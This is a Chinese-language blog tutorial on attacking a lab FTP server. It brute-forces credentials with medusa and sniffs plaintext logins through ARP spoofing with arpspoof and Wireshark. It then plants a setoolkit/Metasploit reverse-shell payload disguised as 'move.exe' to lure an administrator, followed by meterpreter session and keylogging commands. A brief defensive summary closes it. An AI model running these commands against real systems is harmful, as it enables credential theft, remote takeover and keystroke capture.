当前位置:网站首页>6-2漏洞利用-ftp不可避免的问题
6-2漏洞利用-ftp不可避免的问题
2022-07-02 01:11:00 【山兔1】

FTP用户名密码暴力破解
Windows下 CMD命令添加用户、以及提升Administrator管理员权限,之后这个用户将做为登录FTP的用户名和密码
net user 用户名 用户密码 /add
//表示添加新的用户名密码
net localgroup administrators 用户名 /add
//提升管理权限
net user admin1 admin1 /add
net localgroup administrators admin1 /add

windows下 FTP服务器添加用户,否则我们就不能使用我们添加的admin1用户登录
打开iis管理器

使用medusa暴力破解工具来破解admin1用户的密码

在最后输出了对应的用户名密码
先用nc连接一下ftp服务
nc 192.168.1.107 21
USER admin1
PASS admin1

连接成功
只有在输入正确的账号密码的情况下,才会登录成功
medusa

medusa -h 192.168.1.107 -u admin1 -P /root/Desktop/pass.txt -M ftp

可以看到,我们在最后发现了用户名密码,我们也可以不知道用户名、密码进行破解
这个时候,我们就可以用nc登录
FTP用户名密码验证
FTP协议中用于用户认证的过程中,客户端要与服务端进行通信,并且他们两个在验证过程中,客户端会发送明文的信息到服务端,服务端在整个过程中,接收到的信息都是明文状态,比如说,登录使用的弱口令、密码都是明文的,我们可以进行查看,不经过加密,比如说,客户端发送admin,在传送到服务端的整个过程中,我们都可以查看
我们可以在wireshark抓包进行查看

我们接下来,将使用nc连接当前的FTP服务器,然后使用wireshark进行抓包,从而验证,我们对应的明文传输
先打开ftp,选择eth0端口监听,模式选择ftp

nc 192.168.1.101 21
USER admin1
PASS admin1

我们来看一下wireshark抓的包

可以看到,都是明文
FTP用户名明文密码嗅探
因为整个传输过程中,都是使用明文状态,没有进行加密,我们可以在FTP和服务端进行嗅探,取对应的用户名和密码
利用arpspoof进行ARP嗅探,从而使得我们某一客户端,连接对应ftp服务器时,欺骗客户端,我们是网关,从而获得对应的数据包

这个时候,所有数据包都将发送到kali,我们就可以使用wireshark进行流量嗅探

发现对应的用户名和密码
ifconfig
arpspoof -i eth0 192.168.1.1 -t 192.168.1.105

arp -a

欺骗成功,我们看到192.168.1.1的mac地址是kali的mac地址
ftp 192.168.1.107
admin1
admin1

登录成功
嗅探与暴力破解,最大的不同,在于暴力破解需要强大的字典,而这种嗅探,我们只要嗅探成功,就可以获得对应的用户名和密码,即可进行登录
FTP登录之后做的事情
FTP主要是用来文件传输,接下来,我们就需要上传一个反弹shell,当管理员点击shell之后,服务器就会返回对应的cmd,执行窗口、执行权限,就会执行对应的命令
利用metasploit创建反弹shell上传到FTP服务器。可以利用setookit快速生成反弹shell。

setoolkit
4
2
192.168.1.106
4445

为了确保不冲突,我们可以查看当前kali开放端口
netstat -pantu

我们发现4445端口,不在当前的内容当中,我们就可以用4445端口,做为反弹监听的端口

这个时候,就开始生成对应的payload
开启监听
我们打开另外一个终端
cd /root/.set
ls
mv payload.exe /root/Desktop/

这个时候,我们可以使用ftp,把对应的payload上传,使用flashfxp软件,进行上传

上传成功后,就会在FTP服务器的根目录下,生成payload.exe

我们需要诱惑管理员点击,对应的exe文件,我们就需要进行修改,比如move.exe

很有可能,管理员会双击,我们就可以在kali当中,查看终端

终端当中,就会有对应的连接
sessions -l
//查看

sessions -i 1

可以看到连接上去,我们就可以进行操作了
HELP

我们可以进行键盘操作等等
sysinfo
//查看当前session当中win2k3的信息

keyscan_start
keyscan_dump

总结
同时要掌握FTP下的文件,是不能乱点,一定要加强对应的管理,否则我们点击了exe文件,就会导致服务器的沦陷,也从侧面发现,我们要对FTP用户加强管理,避免他们的用户名密码泄露,以及我们要在局域网当中,对它进行安全维护,防止arp嗅探到我们的ftp明文用户名和密码
边栏推荐
- Random avatar encyclopedia, multi category wechat applet source code with history_ Support traffic master
- Deb file installation
- Basis of deep learning neural network
- Viewing and modifying volume group attributes of Aix storage management (II)
- The 8-year salary change of testers makes netizens envy it: you pay me one year's salary per month
- Based on Simulink and FlightGear, the dynamic control of multi rotor UAV in equilibrium is modeled and simulated
- Part 29 supplement (XXIX) basis of ECMAScript
- Global and Chinese markets for food allergens and intolerance tests 2022-2028: Research Report on technology, participants, trends, market size and share
- How to determine whether the current script is in the node environment or the browser environment?
- Global and Chinese markets for maritime services 2022-2028: Research Report on technology, participants, trends, market size and share
猜你喜欢
![[eight sorting ③] quick sorting (dynamic graph deduction Hoare method, digging method, front and back pointer method)](/img/c2/7ebc67e9b886e3baf3c98489bf9bce.png)
[eight sorting ③] quick sorting (dynamic graph deduction Hoare method, digging method, front and back pointer method)
![[IVX junior engineer training course 10 papers] 05 canvas and aircraft war game production](/img/dc/e9adb1b41c2175c6f18d8027e0530a.jpg)
[IVX junior engineer training course 10 papers] 05 canvas and aircraft war game production

Infiltration records of CFS shooting range in the fourth phase of the western regions' Dadu Mansion

Collection: comprehensive summary of storage knowledge

You probably haven't noticed the very important testing strategy in your work

Iclr2022 | spherenet and g-spherenet: autoregressive flow model for 3D molecular graph representation and molecular geometry generation

学习笔记3--高精度地图关键技术(上)

Since I understand the idea of dynamic planning, I have opened the door to a new world

Recommend an online interface mock tool usemock

Geek DIY open source solution sharing - digital amplitude frequency equalization power amplifier design (practical embedded electronic design works, comprehensive practice of software and hardware)
随机推荐
AIX存储管理之卷组的创建(一)
[WesternCTF2018]shrine writeup
【八大排序④】归并排序、不基于比较的排序(计数排序、基数排序、桶排序)
Global and Chinese market of ancillary software 2022-2028: Research Report on technology, participants, trends, market size and share
Global and Chinese markets for distributed generation and energy storage in telecommunications networks 2022-2028: Research Report on technology, participants, trends, market size and share
测试员8年工资变动,令网友羡慕不已:你一个月顶我一年工资
Global and Chinese markets of digital crosspoint switches and mux/demux 2022-2028: Research Report on technology, participants, trends, market size and share
Hcip day 14 (MPLS protocol)
学习笔记24--多传感器后融合技术
cookie、session、tooken
[Chongqing Guangdong education] Tianshui Normal University universe exploration reference
Otaku wallpaper Daquan wechat applet source code - with dynamic wallpaper to support a variety of traffic owners
Powerful calendar wechat applet source code - support the main mode of doing more traffic
Zak's latest "neural information transmission", with slides and videos
Circular statements in shell programming
Global and Chinese markets for power over Ethernet (POE) solutions 2022-2028: Research Report on technology, participants, trends, market size and share
教你白嫖Amazon rds一年并搭建MySQL云数据库(只需10分钟,真香)
Develop a simple login logic based on SSM
Basic number theory -- Gauss elimination
Global and Chinese markets for maritime services 2022-2028: Research Report on technology, participants, trends, market size and share